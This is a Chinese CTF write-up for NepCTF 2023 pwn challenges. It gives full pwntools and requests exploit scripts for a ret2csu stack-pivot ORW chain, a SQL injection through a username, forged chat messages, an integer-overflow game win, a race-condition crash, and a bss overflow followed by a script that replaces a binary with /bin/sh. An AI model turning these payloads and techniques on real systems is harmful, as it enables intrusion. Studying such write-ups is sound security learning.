0%

nepCTF2023

SROP

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
1
2
3
4
5
6
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b9a04d5b45791b795e9c72a0f443a391a5cd591a, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Full RELRO,NX
1
2
3
4
5
6
7
8
9
10
11
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
  • 只能打 ORW

漏洞分析

栈溢出 + syscall:

1
2
3
seccomp(argc, argv, envp);
syscall(1LL, 1LL, bufg, 0x30LL);
return syscall(0LL, 0LL, buf, 0x300LL);

入侵思路

有栈溢出,可以打 ret2csu,先利用现成的 syscall 配合万能 pop 构造 read 函数,然后栈迁移到 bss 段打 ORW

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.27.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b *0x4007AE\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla(">",str(op))

csu_front_addr=0x4007F0
csu_end_addr=0x40080A

def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call(只能是got表地址)
# rdx=r15
# rsi=r14
# rdi=r13
# csu(0, 1, fun_got, rdx, rsi, rdi, last)
payload = ""
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
return payload

read_sys = 0
write_sys = 1
open_sys = 2
sigreturn = 15

bss_addr = 0x601050 + 0x200
main_addr = 0x40075B
syscall_got = 0x600fe8
leave_ret = 0x4007AD
ret = 0x4007AE
pop_rbp_ret = 0x0000000000400628

#debug()

payload = "a"*0x30 + p64(bss_addr) + csu(0, 1, syscall_got, read_sys, 0, bss_addr, pop_rbp_ret) + p64(bss_addr) + p64(leave_ret) + p64(bss_addr+8)
sl(payload)

sleep(0.3)
payload = "./flag".ljust(8,"\x00")
payload += csu(0, 1, syscall_got, open_sys, bss_addr, 0, ret)
payload += csu(0, 1, syscall_got, read_sys, 3, bss_addr, ret)
payload += csu(0, 1, syscall_got, write_sys, 1, bss_addr, ret)
sl(payload)

p.interactive()

HRP-CHAT

题目的 docker 启动脚本如下:

1
2
3
4
echo $GZCTF_FLAG>/home/ctf/Nep_CTF_FLAG_ONE
nohup /home/ctf/serve >result 2>&1 &
sleep 1
/home/ctf/safebox /home/ctf/client
  • 执行 /home/ctf 目录下的 serve 文件,并重定向输入到 result 文件(将标准错误 2 重定向到标准输出 &1,标准输出 &1 再被重定向输入到 result 文件中)
  • 本题目有4个 flag 并且提供源码
  • PS:第一条命令与动态 flag 有关,需要去掉

题目开始前先修改 serve.c,然后执行 make.sh 并重新编译:

1
2
3
4
socklen_t serverLen = sizeof(struct sockaddr_in);
serverSock.sin_addr.s_addr = inet_addr(IP);//htonl(INADDR_ANY);
serverSock.sin_port = htons(PORT);
serverSock.sin_family = AF_INET;

修改 docker-compose.yml 并搭建 docker 环境:

1
2
3
4
5
6
7
version: "2"
services:
chat:
build: .
restart: unless-stopped
ports:
- "2222:8888"

程序分析

输入 help 即可查看程序的功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# ./start.sh
为缓解服务器压力客户端将以安全模式运行中
欢迎来到NepCTF CardFight,在这里你可以进行大厅聊天以及卡牌对战,当你胜利后会获取到金币码,金币足够后可以进行商店物品兑换(flag暂未上架)
你可以输入help来获取帮助
help
输入Login进行登录和注册,数据存储在sqlite中请不要担心丢失,输入back返回上级菜单
输入Chart进入大厅聊天室(服务器不支持空格),输入back返回菜单选择
输入Start可以进行卡牌对战,输入back返回菜单选择
输入Shop进入商店,输入back返回菜单选择
输入Message获取个人数据,输入back返回上级菜单
输入Secret进入私聊模式,输入back返回上级菜单
输入RollCard进行抽卡,输入back返回上级菜单
输入Bot获取远程AI协助,输入back返回上级菜单
sqlite只存储用户名密码

入侵思路 - flag1

第一个 flag 位于 Shop 模块中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
char sql1[0x100];
sprintf(sql1,"select * from user where Username='%s' and Statement ='root'",pNode->username);
printf("\n\n%s\n",sql1);
char **tb;
int rows = 0;
int cols = 0;
rc = sqlite3_get_table(db, sql1, &tb, &rows, &cols, NULL);
if(rows>0)
{
//exp 1'--
char *flag;
FILE *file = fopen("/home/ctf/Nep_CTF_FLAG_ONE", "r");
if (file == NULL) {
printf("Could not open flag file.\n");
exit(1);
}

fseek(file, 0, SEEK_END);
long fsize = ftell(file);
fseek(file, 0, SEEK_SET);

flag = malloc(fsize + 1);
fread(flag, fsize, 1, file);
fclose(file);
flag[fsize] = '\0';
strcpy(msgs.message,flag);
send(pNode->fd, &msgs, sizeof(msgs), 0);
pthread_mutex_unlock(&phead.lock);
}
else{
strcpy(msgs.message,"flag仅供root用户");
send(pNode->fd, &msgs, sizeof(msgs), 0);
pthread_mutex_unlock(&phead.lock);
}
  • 需要满足 rows>0 这个条件,其值通过 sqlite3_get_table 函数从数据库中获取

发现 sprintf 后并没有对 sql 语句进行限制,这里可能是打 sql 注入,最简单的想法就是在用户名末尾添加 ' 截断,并添加注释符号 --,从而绕过 Statement ='root'

1
select * from user where Username='yhw'--123456' and Statement ='root'

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

#elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('127.0.0.1','2222')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

def cmd(op):
sla(">",str(op))

#debug()

sl("Login")
ru("(均为6个字符)")
sl("yhw")
sl("123456")
ru("你已退出登录注册界面")
sl("Login")
ru("(均为6个字符)")
sl("yhw'--")
sl("123456")
ru("你已退出登录注册界面")
sl("Shop")
ru("商品信息:")
sl("999")

p.interactive()

入侵思路 - flag2

第二个 flag 在 VIP 模块中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if(!strcmp(msg.message,"RemoteVIPApplicationCertificationHasPassed"))
{
printf("%s:","你已成功申请为VIP用户,请保管好您的VIP码(此码仅往后不会再出现,请妥善保存)");
char *vip;
FILE *file = fopen("/home/ctf/Nep_CTF_FLAG_TWO", "r");
if (file == NULL) {
printf("Could not open flag file.\n");
exit(1);
}

fseek(file, 0, SEEK_END);
long fsize = ftell(file);
fseek(file, 0, SEEK_SET);

vip = malloc(fsize + 1);
fread(vip, fsize, 1, file);
fclose(file);
vip[fsize] = '\0';
printf("%s\n",vip);

}
else{
printf("Bot say:%s\n",msg.message);
}
  • 想要获取 VIP 必须让服务器返回的数据为 RemoteVIPApplicationCertificationHasPassed
  • 在服务端找到对应的模块,发现服务端只能返回固定字符串
1
2
3
4
5
6
else if(!strcmp(info[1],"BotRemoteHelp")&&strcmp(info[3],"back"))
{
strcpy(msgs.message,"'远程AI协助服务正在开发中!'");
send(pNode->fd, &msgs, sizeof(msgs), 0);
pthread_mutex_unlock(&phead.lock);
}

我的第一反应是伪造客户端向服务端发送伪造数据包,但该题目是直接与客户端进行交互的,没有伪造的机会,不过程序似乎提供了伪造的功能:

1
2
3
4
5
6
7
8
9
10
else if(!strcmp(info[1],"Secret"))
{
strcpy(msgs.message,info[3]);
int uid=atoi(info[4]);
if(uid>=5&&uid<1000)
{
send(uid, &msgs, sizeof(msgs), 0);
}
pthread_mutex_unlock(&phead.lock);
}
  • 该服务器有“聊天室”这个功能,通过这个功能可以使服务端发送任何数据到任意一个客户端
  • 可以先 nc 启动一个客户端执行 Bot 命令,然后再用另一个客户端的 Secret 功能向第一个客户端发送指定数据包
  • 而在 Chart 功能中可以查看目标客户端的 UID

通过以下两个 exp 的配合,就可以获取 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

#elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('127.0.0.1','2222')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

def cmd(op):
sla(">",str(op))

#debug()

sl("Login")
sl("111111")
sl("123456")
ru("你已退出登录注册界面")
pause()
sl("Chart")
pause()
sl("1")
pause()
sl("back")
sl("Bot")

p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

#elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('127.0.0.1','2222')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

def cmd(op):
sla(">",str(op))

#debug()

sl("Login")
sl("222222")
sl("123456")
ru("你已退出登录注册界面")
pause()
sl("Chart")
pause()

ru("(UID:")
uid = eval(ru(":"))
success("uid >> " + str(uid))

pause()
sl("back")
sl("Secret")
ru("欢迎进入私聊模式")
sl(str(uid))
sl("RemoteVIPApplicationCertificationHasPassed")

p.interactive()

入侵思路 - flag3

第三个 flag 出现在一个简单游戏中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
else if(!strcmp(info[1],"Start"))
{
int cha=0;
int sk=0;
cha=atoi(info[3]);
sk=atoi(info[4]);
int check=0;
for(int i=0;i<5;i++)
{
if(!strcmp(pNode->characters[cha],cNode[i].name)&&( (sk>=0) && (sk<=1) &&( (cha>=0) && (cha<=pNode->characters_count))))
{
int res=cNode[4].blood-(-cNode[i].skill_hurt[sk]);
printf("Hurt:%d\n",res);
if(res<=0)
{
char *flag;
FILE *file = fopen("/home/ctf/Nep_CTF_FLAG_THREE", "r");
if (file == NULL) {
printf("Could not open flag file.\n");
exit(1);
}

fseek(file, 0, SEEK_END);
long fsize = ftell(file);
fseek(file, 0, SEEK_SET);

flag = malloc(fsize + 1);
fread(flag, fsize, 1, file);
fclose(file);
flag[fsize] = '\0';
strcpy(msgs.message,flag);
send(pNode->fd, &msgs, sizeof(msgs), 0);
pthread_mutex_unlock(&phead.lock);
check=1;
}
}
}
if(check==0)
{
strcpy(msgs.message,"YOU LOSE!");
send(pNode->fd, &msgs, sizeof(msgs), 0);
pthread_mutex_unlock(&phead.lock);
}
}
  • cNode[4].bloodcNode[i].skill_hurt[sk] 都是正值,必须令 res 溢出为负数

查看角色的数据,发现只有 H3h3QAQskill_hurt[1] 符合条件:

1
2
3
4
5
6
7
8
9
10
strcpy(cNode[0].name,"H3h3QAQ");
cNode[0].skill[0]=(char *)malloc(0x30);
cNode[0].skill[1]=(char *)malloc(0x30);
strcpy(cNode[0].skill[0],"自动化渗透木马");
strcpy(cNode[0].skill[1],"log4j");
cNode[0].skill_hurt[0]=10;
cNode[0].skill_hurt[1]=2047483649;
cNode[0].level=0;
cNode[0].how_much=-100;
cNode[0].blood=1;

在 Shop 中没法购买 H3h3QAQ,只能在 RollCard 中 Roll 出来

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

#elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('127.0.0.1','2222')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

def cmd(op):
sla(">",str(op))

#debug()

sl("Login")
ru("(均为6个字符)")
sl("yhw123")
sl("123456")
ru("你已退出登录注册界面")

sl("RollCard")
index = 0
while(True):
sl("Roll")
ru("恭喜你抽到了")
name = ru("\n")
print(name)
sleep(1)
if name == "H3h3QAQ":
break
index = index + 1

sl("back")
sl("Start")
ru("T佬")
sl(str(index+3))
sl("1")

p.interactive()

入侵思路 - flag4

第四个 flag 在 safebox 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if(!strcmp(choice,"Safe_Mode_Key"))
{
printf("%s","This is your key!");
char *flag;
FILE *file = fopen("/home/ctf/Nep_CTF_FLAG_FOUR", "r");
if (file == NULL) {
printf("Could not open flag file.\n");
exit(1);
}

fseek(file, 0, SEEK_END);
long fsize = ftell(file);
fseek(file, 0, SEEK_SET);

flag = malloc(fsize + 1);
fread(flag, fsize, 1, file);
fclose(file);
flag[fsize] = '\0';
printf("%s\n",flag);
}
  • 进入 “安全模式” 输入 “Safe_Mode_Key” 即可拿到 flag

想要进入安全模式,必须先令程序崩溃:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 创建子进程
fp = popen("/home/ctf/client", "r");
if (fp == NULL) {
perror("popen");
exit(0);
}

// 持续交互直到子进程崩溃
while (1) {
// 读取子进程输出
if (fgets(buffer, sizeof(buffer), fp) == NULL) {
// 子进程崩溃或结束
break;
}

// 打印子进程输出
printf("%s", buffer);
}

令程序崩溃的方法正是条件竞争:

1
2
3
4
5
6
7
8
9
10
void Login()
{
printf("%s\n","欢迎注册&登录Nep CardFight system");
printf("%s\n","请按次序输入用户名和密码(均为6个字符)");
pthread_create(&pthreadSend, NULL, login_pthread_send, NULL);
pthread_create(&pthreadRecv, NULL, login_pthread_recv, NULL);

while (!quit)
;
}
  • 当程序创建两个线程后会执行 while 自旋(类似于自旋锁)
1
2
3
4
5
6
7
8
if(!strcmp(msg.message,"true"))
{
quit = true;
memset(msg.message, 0, sizeof(msg.message));
printf("%s\n","你已退出登录注册界面");
login_or_not=1;
return;
}
  • login_pthread_recv 函数快执行完时,会设置 quit = true 从而使主线程继续执行
  • 如果在正常执行 login 流程的同时输入大量垃圾数据,就可能导致服务端崩溃,进而导致客户端的 recv 死锁(具体原因不清楚)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

#elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('127.0.0.1','2222')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

def cmd(op):
sla(">",str(op))

#debug()

def login():
for i in range(0x2000):
sl("Login")
sl("\x00"*6)
sl("\x00"*6)

def get_flag():
for i in range(0x2000):
sl("Safe_Mode_Key")

t1 = Thread(target=login())
t2 = Thread(target=get_flag())

t1.start()
t2.start()

p.interactive()

HRPVM2.0

1
2
3
4
5
6
kernel: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=08cd1082abae94aa4bc1d29a144b1a27bb3e875f, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

该题目是一个 Web 服务器,启动 Apache 服务器的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from flask import Flask, render_template, request, jsonify
from threading import Thread
import subprocess
import queue

app = Flask(__name__)

# 全局变量,用于存储子进程和线程
process = None
output = queue.Queue()
error = ''

def run_program():
global process, output, error

# 启动 AMD64 ELF 程序
process = subprocess.Popen(['./templates/kernel'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

# 持续读取子进程的输出
while True:
line = process.stdout.readline()
if not line:
break
output.put(line)
process.stdout.flush()

# 读取子进程的错误输出
error = process.stderr.read()

@app.route('/', methods=['GET'])
def index():
global process, output, error

if process is None or not process.poll() is None:
# 如果还没有启动 AMD64 ELF 程序,或者子进程已经结束,则启动一个新的线程
process = None
output = queue.Queue()
error = ''
thread = Thread(target=run_program)
thread.start()

# 渲染 HTML 模板
return render_template('index.html')

@app.route('/send', methods=['POST'])
def send():
global process

command = request.form.get('input', '')

# 向子进程发送命令
process.stdin.write(command + '\n')
process.stdin.flush()

return jsonify(status="success"), 200


@app.route('/receive', methods=['GET'])
def receive():
global output, error

if not output.empty():
current_output = output.get()
else:
current_output = ''

return jsonify(output=current_output, error=error)

@app.route('/test_system_exec', methods=['GET'])
def test_system_exec():
import os
os.system("chmod +x /bin/shell && /bin/shell")

return jsonify(status="success"), 200

if __name__ == '__main__':
app.run(host='0.0.0.0')

使用 docker 搭建环境后通过 http://172.26.0.2:5000/ 即可访问题目页面,类似于一个网页版的 shell

1
2
> cat README
~/@HRP$ Perhaps you think this question is very similar to HRPVM, but it is a bit different. The author of the question is quite awkward and went to work on the web. Let's play with the entire check-in question for everyone

漏洞分析

全局变量溢出:

1
2
3
4
5
6
7
8
9
10
11
12
if ( file->fd >= 0 )                      // read
{
if ( user->key || file->r )
{
len = atoi(rdxg);
copy_data(read_buf, file->data, len);
len = atoi(rdxg);
clear("[+] Read %d bytes from file: %s\n", (unsigned int)len, read_buf);
return;
}
goto LABEL_23;
}
  • 通过溢出 read_buf 可以覆盖 user:
1
2
3
.bss:0000000000005040 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+read_buf db 100h dup(?)                 ; DATA XREF: syscall+12E↑o
.bss:0000000000005140 ; User *user
.bss:0000000000005140 ?? ?? ?? ?? ?? ?? ?? ?? user dq ?

程序提供了后门,可以执行 /bin/shell

1
2
3
4
5
6
@app.route('/test_system_exec', methods=['GET'])
def test_system_exec():
import os
os.system("chmod +x /bin/shell && /bin/shell")

return jsonify(status="success"), 200

入侵思路

想要获取 flag 则需要绕过两个点:

1
2
3
4
if ( user->key || !strcmp(file->perm, user->name) )
puts(file->data);
else
puts("[-] Permission denied!");
  • user->key == 1
  • user->name == root

理论上可以通过 read_buf 的溢出来覆盖 user(我们可以通过单独执行二进制文件来进行调试)

首先看单独执行二进制文件时,打通的 payload:(概率 1/16)

1
2
3
4
5
6
7
8
9
sl("root")
data = "echo "+"a"*0x100+p16(0xd1e0)+">payload"
sla("$",data)
data = "echo mov rdi,payload;syscall 0;echo mov rdi,payload;mov rdx,260;syscall 1;>exp"
sla("$",data)
data = "exec exp"
sla("$",data)
data = "cat flag"
sla("$",data)

但是打网页时 0xd1e0 会被转义,因此我们需要找寻可见字符的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
url = "http://172.26.0.2:5000/send"

res = requests.get("http://172.26.0.2:5000")

data = "{'input':"+"a"*0x80+"'root'}"
res = requests.post(url,data=data)
print(res.text)

data = "{'input':'echo "+"a"*0x100+"02"+">payload'}"
res = requests.post(url,data=data)
print(res.text)

data = "{'input':'echo mov rdi,payload;syscall 0;echo mov rdi,payload;mov rdx,260;syscall 1;>exp'}"
res = requests.post(url,data=data)
print(res.text)

data = "{'input':'exec exp'}"
res = requests.post(url,data=data)
print(res.text)

data = "{'input':'cat flag'}"
res = requests.post(url,data=data)
print(res.text)

for i in range(0x10):
res = requests.get("http://172.26.0.2:5000/receive")
print(res.text)

不过这个题目还没有结束,看别人 wp 时才发现服务器上那个是假 flag,需要拿到 shell 才能拿到真 flag

看别人 wp 时学到了一种比较方便的交互方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
req = requests.session()
url = "http://172.26.0.2:5000"
req.get(url)
p = tube()

def io_recv_raw(*a):
sleep(0.2)
r = req.get(url + "/receive")
print(r.json())
return r.json().get('output', "").encode("utf-8")
def io_send_raw(x):
r = req.post(url + "/send", data={"input": x})

p.recv_raw = io_recv_raw
p.send_raw = io_send_raw
  • tube:生成一个新过程,并用管子包裹它以进行通信(将其设置为网络 IO 即可快速进行交互)

程序还有一个后门可以执行内存上的 /bin/shell 文件,而 mount 命令可以往 /bin/shell 中写入数据(同样需要满足 user->key == 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ( getnum_by_name(name) == 1 )
{
strcat(dest, name);
fd = fopen(dest, "wb");
if ( fd )
{
len = strlen(file->data);
fwrite(file->data, 1uLL, len, fd);
fclose(fd);
puts("Device mounted");
}
else
{
puts("Unable to open physical device.");
}
}

我们可以在文件启动脚本中看到如下的代码:

1
2
# 启动 AMD64 ELF 程序
process = subprocess.Popen(['./templates/kernel'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
  • 执行如下的 shell 脚本就可以替换二进制文件 kernel 为真实的 /bin/sh 文件
1
2
#!/bin/sh
cp /bin/sh /app/templates/kernel

于是利用的主要步骤如下:

  • 利用程序的溢出修改 user,使其指向我们可以控制的 chunk(概率为 1/16)
  • 利用程序功能创建 /bin/shell,并使用 exec 往其中写入上述的 shell 脚本
  • 通过 mount 功能将 /bin/shell 中的脚本写入真实的 /bin/shell 文件
  • 通过后门 /test_system_exec 执行 /bin/shell 完成替换
  • 再次连接即可拿到 /bin/sh

PS:第一次在本地进行调试时遇到 /bin 目录没有权限的问题,而 docker 中的权限是 root,没有这个问题

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# -*- coding:utf-8 -*-
from pwn import *
import requests

arch = 64
challenge = './kernel1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
